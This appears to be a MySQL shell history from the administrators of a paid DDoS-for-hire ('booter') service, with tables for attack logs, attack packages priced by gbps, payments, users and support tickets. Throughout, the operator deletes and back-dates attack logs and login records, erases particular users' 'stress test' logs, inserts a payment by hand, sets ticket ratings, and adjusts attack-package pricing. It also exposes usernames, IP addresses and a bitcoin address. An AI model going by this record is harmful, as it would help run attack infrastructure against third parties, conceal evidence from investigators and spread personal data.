SELECT `text`,`ticketid` from `replys` where `text` like ‘% a report %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% report %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% against our %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% disable it %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% disable %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% layer 7 attacks are %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% are being %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% per second %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% 83144692 %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% once you upgrade %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% once you upgrade%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%once you upgrade%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%you upgrade%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%upgrading%’;
describe pms;
describe messages;
describe mailbox;
delete from `mailbox` where toid=’205771′;
SELECT Action,IP,Date FROM `logs` WHERE `username` = ‘Unknown’ group by IP;
SELECT Action,IP,Date,count(*) FROM `logs` WHERE `username` = ‘Unknown’ group by IP;
SELECT Action,IP,Date,count(*) FROM `logs` WHERE `username` = ‘Unknown’ group by IP order by count(*) desc;
clear
SELECT Action,IP,Date,count(*) FROM `logs` WHERE `username` = ‘Unknown’ group by IP order by count(*) desc;
select * from `loginattempts` WHERE `username` = ‘Unknown’;
select * from `loginattemps` WHERE `username` = ‘Unknown’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%geographical%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%layer 7 %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%globally %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%globally%’;
select * from `loginattempts` WHERE `username` = ‘Unknown’;
select * from `loginattemps` WHERE `username` = ‘Unknown’;
clear
ls
select * from `loginattemps` WHERE `username` = ‘Unknown’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%explusive%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%exlusive%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%exlusi%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%exl%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%exclusively%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%API%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%blacklisted%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%the email you%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%front%’;
select `username` from `users` where `reason` LIKE ‘%suspeceted%’
;
select `username` from `users` where `reason` LIKE ‘%suspected%’;
select * from `logs` where IP = ‘81.103.169.22’ group by `username` order by `ID` desc;
describe logs;
select * from `logs` where IP LIKE ‘%81.103.169.22%’ group by `username` order by `ID` desc;
select * from `loginattemps` WHERE `username` = ‘Unknown’;
select * from `logs` where IP LIKE ‘%81.103.7.235%’ group by `username` order by `ID` desc;
select * from `payments` where `username` = ‘zygixs1’;
select * from `loginattemps` WHERE `username` = ‘Unknown’;
select * from `logs` where IP LIKE ‘%82.132.222.180%’ group by `username` order by `ID` desc;
select * from `loginattemps` WHERE `username` = ‘Unknown’;
select * from `mailbox` where `toid` = 85801;
select * from `users` wehre `username` = ‘Unknwon’;
SELECT * FROM `users` WHERE `username` = ‘Unknwon’;
SELECT * FROM `users` WHERE `username` = ‘Unknown’;
drop vdos
;
drop database vdos
;
database create vdos
;
create vdos;
create database vdos;
drop database vdps
;
drop database vdos;
database create vdos;
create database vdos;
drop database vdos;
create database vdos;
drop database vdos;
create database vdos;
drop database vdos;
create database vdos;
drop database vdos;
create database vdos;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%blacklisted%’;
database create chat;
create database chat;
CREATE TABLE `chat`.`messages` ( `id` INT NOT NULL AUTO_INCREMENT , `message` TEXT NOT NULL , `time` INT(20) NOT NULL , `user` VARCHAR(6) NOT NULL , PRIMARY KEY (`id`)) ENGINE = InnoDB;
delete from `message` where 1=1;
delete from `messages` where 1=1;
select * from `users` where `reason` like ‘%Unauthorised%’
;
select * from `users` where `reason` like ‘%unauthorised%’;
select * from `users` where `reason` like ‘%stress%’;
select * from `users` where `reason` like ‘%stress tests%’;
select * from `messages`
;
select * from `messages`;
delete from `logs` where `Username` = ‘MasterProxseas’ AND `Action` like ‘%stress test%’;
select * from `messages`;
SELECT `Username`,`Action`,`IP`,`Date` from `logs` where `Username` = ‘b00tl00p’ ORDER by `ID` ASC INTO OUTFILE ‘/tmp/max.txt’;
select * from `messages`;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%blacklisted%’;
select * from `messages`;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%yidashi%’;
SELECT `text`,`id` from `tickets` where `text` like ‘%yidashi%’;
SELECT `text`,`id` from `tickets` where `text` like ‘%190.112.0.1%’;
SELECT `text`,`id` from `tickets` where `text` like ‘%190.112.0%’;
select `id` from `users` where `username` = ‘hackermax’;
desribe attacklogs;
describe attack_logs;
describe attacklogs;
delete from `attacklogs` where `userid` = ‘265081’ AND `Date` LIKE ‘%28-05-2016%’;
select * from `messages`;
ls
select * from `messages`;
remove from `messages` where id = 327;
delete from `messages` where id = 327;
ALTER TABLE `users` CHANGE `username` `username` VARCHAR(10) NOT NULL;
;
select * from `messages`;
select * from `messages` WHERE `message` LIKE ‘%danage%’
;
select * from `messages` WHERE `message` LIKE ‘%damage%’
;
select * from `messages`;
select * from `messages` ORDER BY `id` asc;
select * from `messages` ORDER BY `id` asc limit 5;
select * from `messages` ORDER BY `id` desc limit 5;
desribe users;
describe users;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select `user` from `messages` ORDER BY `id` desc limit 5;
select `user` from `messages` ORDER BY `id` desc limit 10;
select `user` from `messages` ORDER BY `id` desc limit 20;
describe messages;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
clear
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `messages`;
SELECT * from `messages` INTO OUTFILE ‘/tmp/unknown.txt’
;
SELECT * from `messages` INTO OUTFILE ‘/tmp/unknown.txt’;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
update `messages` SET `message` = “I’m just saying, it’s nice to hear that :3” WHERE `id` = 414;
select * from `users`;
update `messages` SET `message` = “I’m just saying, it’s nice to hear that :3″ WHERE `id` = 414;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
update `messages` SET `message` = ‘”Unknown was last seen on 02/06/2016 17:55:10″ :(‘ WHERE `id` = 425;
select * from `users`;
use ustress;
describe packs;
use vdos;
describe packs;
use chat;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `messages` ORDER BY `id` desc limit 10;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
use ustress;
select * from `packs`
;
delete from `packs` where id = 132;
delete from `packs` where id = 131;
select * from `packs`;
clear
use chat;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
use chat
select * from `messages` ORDER BY `id` desc limit 15;
select * from `messages` ORDER BY `id` desc limit 20;
use chat;
ALTER TABLE `messages` CHANGE `user` `user` VARCHAR(10) CHARACTER SET latin1 COLLATE latin1_swedish_ci NOT NULL;
UPDATE SET `user` = ‘Unknown’ WHERE `user` = ‘Unknow’;
UPDATE `messages` SET `user` = ‘Unknown’ WHERE `user` = ‘Unknow’;
use ustress;
delete from `packs` where id = 133;
use hcat;
use chat;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
use chat
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
use chat;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 30;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 30;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 30;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 30;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `messages` ORDER BY `id` desc limit 30;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `messages` ORDER BY `id` desc limit 7;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 7;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 7;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 7;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 7;
select * from `messages` ORDER BY `id` desc limit 10;
select * from `messages` ORDER BY `id` desc limit 15;
delete from `messages` where id =457;
select * from `users`;
delete from `messages` where id =457;
select * from `messages` ORDER BY `id` desc limit 15;
delete from `messages` where id =457;
select * from `users`;
use  chat;
select * from `users`;
delete from `messages` where id =457;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 15;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
select * from `messages` ORDER BY `id` desc limit 5;
select * from `users`;
truncate messages;
truncate table messages;
select * from `users`;
select * from `messages`;
select * from `users`;
use vdos;
select `username` from `users` where `username` LIKE ‘%etai%’;
use  chat;
select * from `users`;
select `ticketid` from `replys` where `text` like ‘%doglikepizza%’
;
describe `users`
l
;
describe `users` l;
describe `users`;
select * from `users` where `type` = ‘Admin’;
select `username` from `users` where `type` = ‘Admin’;
select `ticketid` from `replys` where `text` like ‘%API%’
;
select `text` from `replys` where `text` like ‘%API%’
;
select `ticketid` from `replys` where `text` like ‘%doglikepizza%’
;
CREATE DATABASE wordpress;
drop database wordpress;
create database wordpress
;
drop database wordpress;
create database wordpress\M-W\M-#\012
create database wordpress;
drop database wordpress;
create database wordpress;
create database wordpress_vdos
;
describe attack_logs;
describe attacklogs;
SELECT `target`,`username`,`date` from `attacklogs` BY `id` ASK;
SELECT `target`,`username`,`date` from `attacklogs` order BY `id` ASK;
SELECT `target`,`username`,`date`,`id` FROM `attacklogs` ORDER BY `id` ASK’;
SELECT `target`,`username`,`date`,`id` FROM `attacklogs` ORDER BY `id` ASK;
SELECT `target`,`username`,`date`,`id` FROM `attacklogs` ORDER BY `id` DESC;
SELECT `target`,`userid`,`date`,`id` FROM `attacklogs` ORDER BY `id` ASC
;
describe payments;
INSERT into payments VALUES (‘379797’, ‘2 Months VIP’, ‘1F9FqpmSw521wLoYjGBz78wgFritAXo1bX’, ”, ‘299.99’,’12-06-2016 06:06′, ‘NULL’,’109.163.234.9′,’Blackjelly’,’NULL’,0,0,0,’yykkll.com’,1, 1465726051);
select * from `payments` order by `ID` desc limit 5;
update `payments` set `type` = 0 WHERE `ID` = 70405;
describe tickets;
select * from `messages`;
select * from `users`;
use vdos;
select `text` from `replys` where `text` like ‘%having issues%’
;
SELECT `username` from `users` where `vip` = 1 AND `expire` = ‘lifetime’;
describe payments;
describe users;
SELECT id
FROM users
WHERE id NOT IN
(SELECT userid
FROM payments);
SELECT id FROM users WHERE id NOT IN     (SELECT userid       FROM payments);
SELECT id FROM users WHERE id NOT IN (SELECT userid FROM payments)
;
SELECT id
FROM users
WHERE NOT EXISTS
(SELECT *
FROM payments
WHERE users.id = payments.userid);
SELECT id  FROM users  WHERE NOT EXISTS      (SELECT *       FROM payments       WHERE users.id = payments.userid);
use vdos;
SELECT username FROM users WHERE id NOT IN (SELECT userid FROM payments) AND `expire` = ‘lifetime’ AND `status` = ‘Active’
;
SELECT username,boots FROM users WHERE id NOT IN (SELECT userid FROM payments) AND `expire` = ‘lifetime’ ORDER BY `boots` ASC;
SELECT username,boots FROM users WHERE id NOT IN (SELECT userid FROM payments) AND `expire` = ‘lifetime’ AND `statu` =’Adctive’ ORDER BY `boots` ASC;
SELECT username,boots FROM users WHERE id NOT IN (SELECT userid FROM payments) AND `expire` = ‘lifetime’ AND `status` =’Adctive’ ORDER BY `boots` ASC;
SELECT username,boots FROM users WHERE id NOT IN (SELECT userid FROM payments) AND `expire` = ‘lifetime’ AND `status` =’Active’ ORDER BY `boots` ASC
;
describe users;
SELECT username,boots FROM users WHERE id NOT IN (SELECT userid FROM payments) AND `expire` = ‘lifetime’ AND `status` = ‘Active’ ORDER BY `lastseen` ASC
;
select `text` from `replys` where `text` like ‘%the future%’
;
select `text` from `replys` where `text` like ‘%the future%’ AND `text` like ‘%paypal%’
;
select `text` from `replys` where `text` like ‘%future%’ AND `text` like ‘%paypal%’
;
select `text` from `replys` where `text` like ‘%future%’ AND `text` like ‘%offer these%’
;
select `text` from `replys` where `text` like ‘%future%’ AND `text` like ‘%not offer%’
;
select `text` from `replys` where `text` like ‘%future%’ AND `text` like “%don’t offer%”;
select `text` from `replys` where `text` like ‘%future%’ AND `text` like “%offer%”;
select `text` from `replys` where `text`  like “%don’t offer%”;
select `text` from `replys` where `text`  like “%don’t offer these%”;
select `text` from `replys` where `text`  like “%don’t offer%”;
select `text` from `replys` where `text` like ‘%future%’ AND `text` like “%offer%”;
select `text` from `replys` where `text` like ‘%future%’ AND `text` like “%paypal%”;
select `text` from `replys` where `text` like ‘%Do you have any more questions %’;
use ustress;
select * packages;
select * packages
;
select * from packages
;
select * from packs;
UPDATE `packs` SET `pp` = 1 WHERE `id` = 135;
UPDATE `packs` SET `gbps` = 50 WHERE `id` = 135;
UPDATE `packs` SET `gbps` = 300 WHERE `id` = 0;
UPDATE `packs` SET `gbps` = 300 WHERE `pp` = 0;
UPDATE `packs` SET `description` = “Our hardest hitting subscription. This subscription comes with access to our dedicated nodes.” WHERE `id` = 135;
delete from `packs` where `id` = 135;
select * from packs;
UPDATE `packs` SET `price` = 14.99 WHERE `id` = 58;
UPDATE `packs` SET `price` = 25.99 WHERE `id` = 60;
UPDATE `packs` SET `price` = 35.99 WHERE `id` = 60;
UPDATE `packs` SET `price` = 25.99 WHERE `id` = 59;
UPDATE `packs` SET `price` = 15.99 WHERE `id` = 58;
select * from packs;
UPDATE `packs` SET `price` = 149.99 WHERE `id` = 101;
UPDATE `packs` SET `price` = 249.99 WHERE `id` = 91;
UPDATE `packs` SET `price` = 349.99 WHERE `id` = 127;
UPDATE `packs` SET `price` = 449.99 WHERE `id` = 128;
UPDATE `packs` SET `price` = 69.99 WHERE `id` = 56;
UPDATE `packs` SET `price` = 39.99 WHERE `id` = 55;
UPDATE `packs` SET `price` = 99.99 WHERE `id` = 57;
select `text` from `replys` where `text` like ‘%3rd%’;
select `text` from `replys` where `text` like ‘%parties%’;
use ustres
use ustress
CREATE TABLE `coupons` (
`discount` int(3) NOT NULL,
`coupon` varchar(25) NOT NULL,
`id` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
CREATE TABLE `coupons` (   `discount` int(3) NOT NULL,   `coupon` varchar(25) NOT NULL,   `id` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `coupons` (`discount`, `coupon`, `id`) VALUES
(10, ’18VOXKW0C’, 1),
(25, ’11I8VC0ALC’, 2),
(50, ‘ZZZI290SLD’, 3);
INSERT INTO `coupons` (`discount`, `coupon`, `id`) VALUES (10, ’18VOXKW0C’, 1), (25, ’11I8VC0ALC’, 2), (50, ‘ZZZI290SLD’, 3);
ALTER TABLE `coupons`
ADD PRIMARY KEY (`id`);
ALTER TABLE `coupons`   ADD PRIMARY KEY (`id`);
ALTER TABLE `coupons`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
ALTER TABLE `coupons`   MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
select * from `coupons`
;
select * from `users`;
describe replys;
select count(`ID`) from `reply` GROUP BY `userid`;
select count(`ID`) from `replys` GROUP BY `userid`;
select count(`ID`) as `lol` from `replys` ORDER BY `lol` ASC GROUP BY `userid`;
select count(`ID`) as lol from `replys` ORDER BY `lol` ASC GROUP BY `userid`;
select count(`ID`) as lol from `replys` ORDER BY lol ASC GROUP BY `userid`;
select count(`ID`) as lol from `replys` GROUP BY `userid`;
select count(`ID`) as lol from `replys` GROUP BY `userid` ORDER BY lol ASC;
select count(`ID`) as lol from `replys` GROUP BY `userid` ORDER BY lol DESC limit 5;
select count(`ID`),`userid` as lol from `replys` GROUP BY `userid` ORDER BY lol DESC limit 5;
select count(`ID`) as lol, `userid` from `replys` GROUP BY `userid` ORDER BY lol DESC limit 5;
select `text` from `replys` where `text` like ‘%such as cloudflare %’;
select `text` from `replys` where `text` like ‘%as cloudflare %’;
select `text` from `replys` where `text` like ‘%like cloudflare %’;
select `text` from `replys` where `text` like ‘%cloudflare %’;
select `text` from `replys` where `text` like ‘%legal%’;
select `username` from `users` WHERE `users` LIKE ‘%masters%’;
select `username` from `users` WHERE `username` LIKE ‘%masters%’;
SELECT * FROM `logs` where `username` = ‘MasterSaviour’;
SELECT * FROM `logs` where `username` = ‘MasterSaviour’ ORDER BY `id` asc;
describe users;
update `users` set `lastseen` = 0 WHERE `username` = ‘P1st’;
select * from `payments` ORDER BY `id` asc;
select * from `payments` ORDER BY `id` asc limit 5;
select * from `payments` ORDER BY `id` desc limit 5;
select `username`,`high_risk` from `payments` ORDER BY `id` desc limit 5;
select `username`,`high_risk` from `payments` ORDER BY `id` desc limit 10;
select `username`,`high_risk` from `payments` ORDER BY `id` desc limit 20;
select `text` from `replys` where `text` like ‘%is automatic%’;
select `text` from `replys` where `text` like ‘%in order to avoid%’;
select `text` from `replys` where `text` like ‘%avoid getting banned%’;
select `text` from `replys` where `text` like ‘%getting banned%’;
select `text` from `replys` where `text` like ‘%geographical%’;
select `text` from `replys` where `text` like ‘%blacklisted%’;
select `Action` from `logs` where `text` like ‘%Fail to purchase%’ order by `id` desc;
select * from `logs` where `action` like ‘%Fail to purchase%’ order by `id` desc;
select * from `logs` where `action` like ‘%Failed to purchase%’ order by `id` desc;
select * from `logs` where `action` like ‘%Failed to purchase%’ order by `id` desc limit 10;
select * from `logs` where `action` like ‘%Failed to purchase%’ order by `id` desc limit 20;
select * from `logs` where `action` like ‘%Failed to purchase%’ order by `id` desc limit 40;
select * from `logs` where `action` like ‘%Failed to purchase%’ order by `id` desc limit 60;
select * from `logs` where `action` like ‘%Failed to purchase%’ order by `id` desc limit 10;
select `text` from `replys` where `text` like ‘%if you need any additional%’;
select `text` from `replys` where `text` like ‘%30 seconds%’;
use ustress;
describe attacklogs;
select * from `attacklogs` order by `id` desc limit 5;
UPDATE `attacklogs` SET `date` = ’22-06-2016 00:00′ WHERE `userid` = 376221;
select * from `attacklogs` order by `id` desc limit 5;
select `text` from `replys` where `text` like ‘%name on the card%’;
select `text` from `replys` where `text` like ‘%given you%’;
select `text` from `replys` where `text` like ‘%do not honor%’;
select `text` from `replys` where `text` like ‘%directkvs.com%’;
select `text` from `replys` where `text` like ‘%directkvs%’;
select `text` from `tickets` where `text` like ‘%directkvs.com%’;
select `text` from `tickets`,`username` where `text` like ‘%directkvs.com%’;
select `text` from `tickets` where `text`,`username` like ‘%directkvs.com%’;
select `text`,`username` from `tickets` where `text` like ‘%directkvs.com%’;
select `text` from `replys` where `text` like ‘%do not honor%’;
select * from `logs` where `action` like ‘%Failed to purchase%’ order by `id` desc limit 20;
select * from `logs` where `action` like ‘%Failed to purchase%’ order by `id` desc limit 40;
select `username`,`high_risk` from `payments` ORDER BY `id` desc limit 10;
select `text` from `replys` where `text` like ‘%do not honor%’;
select `text` from `replys` where `text` like ‘%providing me with%’;
select `text` from `replys` where `text` like ‘%provide me with%’;
select `text` from `replys` where `text` like ‘%blacklisted%’;
select `text` from `replys` where `text` like ‘%blacklisted for%’;
select `text` from `replys` where `text` like ‘%is active%’;
select `text` from `replys` where `text` like ‘%rejected%’;
select `text` from `replys` where `text` like ‘%using tor%’;
UPDATE `attacklogs` SET `date` = ’25-06-2016 00:00′ WHERE `userid` = 376221 AND `date` LIKE ‘%26-06-2016%’;
use ustress;
UPDATE `attacklogs` SET `date` = ’25-06-2016 00:00′ WHERE `userid` = 376221 AND `date` LIKE ‘%26-06-2016%’;
select * from `tickets`
;
describe tickets;
select `ID`,`response_time` from `tickets`
;
UPDATE tickets SET `response_time` = 1 WHERE `ID` = 51841;
UPDATE tickets SET `rating` = 5 WHERE `ID` = 51823;
select `text` from `replys` where `text` like ‘%israeli%’;
select `id`,`text` from `replys` where `text` like ‘%israeli%’;
select `ticketid`,`text` from `replys` where `text` like ‘%israeli%’;
use ustress;
delete from `packs` where `id` = 134;
select `ticketid`,`text` from `replys` where `text` like ‘%require%’;
select `ticketid`,`text` from `replys` where `text` like ‘%require any more%’;
select `ticketid`,`text` from `replys` where `text` like ‘%bank statement%’;
use ustress
describe users;
select `last_ref` from `users`;
describe packs;
select `ticketid`,`text` from `replys` where `text` like ‘%dj09frv8una4%’;
select `text` from `tickets` where `text` like ‘%dj09frv8una4%’;
describe loginattemps;
select * from `loginattemps` ORDER BY `id` desc;
select * from `loginattemps` ORDER BY `id` desc limit 5;
DELETE FROM `loginattemps` where `id` = 633372;
select `text` from `tickets` where `text` like ‘%ETA of when %’;
select `text` from `tickets` where `text` like ‘%ETA of%’;
select `ticketid`,`text` from `replys` where `text` like ‘%eta of when%’;
use ustress;
select `ID`,`response_time` from `tickets` ORDER BY `response_time` DESC;
delete from `tickets` where id =’51859′;
use ustress;
update `users` set `expire` = ‘lifetime’ where `username` = ‘John’;
describe mailbox;
delete from `mailbox` where `toid` = 358431;
select `ticketid`,`text` from `replys` where `text` like ‘%eta of when%’;
select `ticketid`,`text` from `replys` where `text` like ‘%eta%’;
select `ticketid`,`text` from `replys` where `text` like ‘%dns%’;
describe coupons;
insert into coupons values(50,’Zhi50off’,null);
select `ticketid`,`text` from `replys` where `text` like ‘%eta%’;
describe logs
;
delete from `logs` where `Username` = ‘MasterSaviour’;
describe attacklogs;
select `id` from `users` where usernane =’MasterSaviour’;
select `id` from `users` where usernane = ‘MasterSaviour’;
select `id` from `users` where `usernane` = ‘MasterSaviour’;
describe users;
select `id` from `users` where `username` = ‘MasterSaviour’;
delete from `attacklogs` where `userid` = 378889;
select `ticketid`,`text` from `replys` where `text` like ‘%do you require any%’;
select `ticketid`,`text` from `replys` where `text` like ‘%sticket to%’;
select `ticketid`,`text` from `replys` where `text` like ‘%stick to%’;
database create CNBooter;
create database CNBooter;
RENAME TABLE CNBooter.table TO cnbooter.table;
drop database CNBooter;
create database cnbooter
;
select `ticketid`,`text` from `replys` where `text` like ‘%own that ip%’;
select `ticketid`,`text` from `replys` where `text` like ‘%can not provide%’;
select `ticketid`,`text` from `replys` where `text` like ‘%can\134’t provide%’;
select `reason` from `users` where `reason` like ‘%stress tests%’
;
select `reason` from `users` where `reason` like ‘%abues report%’;
select `ticketid`,`text` from `replys` where `text` like ‘%abuse report%’;
select `ticketid`,`text` from `replys` where `text` like ‘%received%’;
select `ticketid`,`text` from `replys` where `text` like ‘%banned again%’;
select `ticketid`,`text` from `replys` where `text` like ‘%proof that you%’;
select `ticketid`,`text` from `replys` where `text` like ‘%proof that%’;
select `ticketid`,`text` from `replys` where `text` like ‘%proof%’;
select `ticketid`,`text` from `replys` where `text` like ‘%now allowed to provide%’;
select `ticketid`,`text` from `replys` where `text` like ‘%not allowed to provide%’;
select `ticketid`,`text` from `replys` where `text` like ‘%received%’;
describe payments;
select * from `payments` order by ID desc limit 5;
select `transaction_id` from `payments` order by ID desc limit 5;
select `ticketid`,`text` from `replys` where `text` like ‘%blacklist means%’;
select `ticketid`,`text` from `replys` where `text` like ‘%blacklisting means%’;
select `ticketid`,`text` from `replys` where `text` like ‘%blacklisting%’;
select `ticketid`,`text` from `replys` where `text` like ‘%blacklist%’;
select `ticketid`,`text` from `replys` where `text` like ‘%open a ticket and %’;
select `ticketid`,`text` from `replys` where `text` like ‘%a ticket and %’;
select `ticketid`,`text` from `replys` where `text` like ‘%a ticket and we%’;
select `ticketid`,`text` from `replys` where `text` like ‘%a ticket and we will%’;
select `ticketid`,`text` from `replys` where `text` like ‘%old plan%’;
select `ticketid`,`text` from `replys` where `text` like ‘%old package%’;
select `ticketid`,`text` from `replys` where `text` like ‘%no problem, glad%’;
select `ticketid`,`text` from `replys` where `text` like ‘%old package%’;
select `ticketid`,`text` from `replys` where `text` like ‘%and choose your%’;
select `ticketid`,`text` from `replys` where `text` like ‘%your desired%’;
select `ticketid`,`text` from `replys` where `text` like ‘%flight%’;
select `ticketid`,`text` from `replys` where `text` like ‘%your desired%’;
select `ticketid`,`text` from `replys` where `text` like ‘%your email%’;
UPDATE `users` SET `status` = ‘active’ WHERE `username` = ‘83144692’;
select `ticketid`,`text` from `replys` where `text` like ‘%contact them%’;
select `ticketid`,`text` from `replys` where `text` like ‘%help with%’;
select `ticketid`,`text` from `replys` where `text` like ‘%bitcoin%’;
describe replys;
select `ticketid`,`text` from `replys` where `text` like ‘%bitcoin%’ AND `userid` =’85801′;
select `ticketid`,`text` from `replys` where `text` like ‘%bitcoin%’ AND `text` like ‘%help%’ and `userid` =’85801′;
select `ticketid`,`text` from `replys` where `text` like ‘%bitcoin%’ AND `text` like ‘%them%’ and `userid` =’85801′;
select `ticketid`,`text` from `replys` where `text` like ‘%bitcoin%’ AND `text` like ‘%how to%’ and `userid` =’85801′;
select `ticketid`,`text` from `replys` where `text` like ‘%bitcoin%’ AND `text` like ‘%purchasing%’ and `userid` =’85801′;
select `ticketid`,`text` from `replys` where `text` like ‘%bitcoin%’ AND `text` like ‘%purchase bitcoin%’ and `userid` =’85801′;
SELECT round(sum(amount)) as `total`, DATE_FORMAT(FROM_UNIXTIME(`timestamp`), ‘%c-%y’) as ‘datee’ FROM `payments` WHERE `timestamp` != ” AND `refunded` != 1 GROUP BY `datee` ORDER BY `id` LIMIT 12
;
dscribe payments
;
describe payments
;
select * from `payments`;
SELECT round(sum(amount)) as `total`, DATE_FORMAT(FROM_UNIXTIME(`timestamp`), ‘%c-%y’) as ‘datee’ FROM `payments` WHERE `timestamp` != ” AND `refunded` != 1 GROUP BY `datee` ORDER BY `id` LIMIT 12
;
